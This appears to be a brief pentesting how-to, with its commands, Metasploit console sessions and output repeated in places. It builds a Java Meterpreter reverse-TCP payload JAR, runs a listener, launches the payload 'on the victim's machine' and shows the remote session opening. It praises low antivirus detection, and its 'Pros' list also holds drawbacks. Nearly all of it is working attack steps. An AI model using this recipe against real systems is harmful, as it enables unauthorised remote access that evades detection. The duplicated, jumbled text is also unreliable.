Create the Meterpreter JAR:
cd ./external/source/javapayload/src/
javac -source 1.4 -target 1.4 metasploit/Payload.java
echo -e "LHOST=10.0.0.1\nLPORT=82" > metasploit.dat
jar cfe payload.jar metasploit.Payload metasploit/Payload.class metasploit.dat
javac -source 1.4 -target 1.4 metasploit/Payload.java
echo -e "LHOST=10.0.0.1\nLPORT=82" > metasploit.dat
jar cfe payload.jar metasploit.Payload metasploit/Payload.class metasploit.dat
Now to listen for the exploit in the Metasploit console:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > set LPORT 82
LPORT => 82
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:82
[*] Starting the payload handler...
msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > set LPORT 82
LPORT => 82
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:82
[*] Starting the payload handler...
Launch the payload on the victim's machine:
java -jar payload.jar
Wait for the results:
[*] Sending stage (28541 bytes) to 192.168.0.1
[*] Meterpreter session 1 opened (10.0.0.1:82 -> 192.168.0.1:54562) at 2012-03-21 09:53:20 +0000
[*] Meterpreter session 1 opened (10.0.0.1:82 -> 192.168.0.1:54562) at 2012-03-21 09:53:20 +0000
Pros:
- AV detection is very low
- Most boxes have Java installed
- It works
- Limited post exploitation modules can be run
- Not as functional as a shell-code meterpreter session.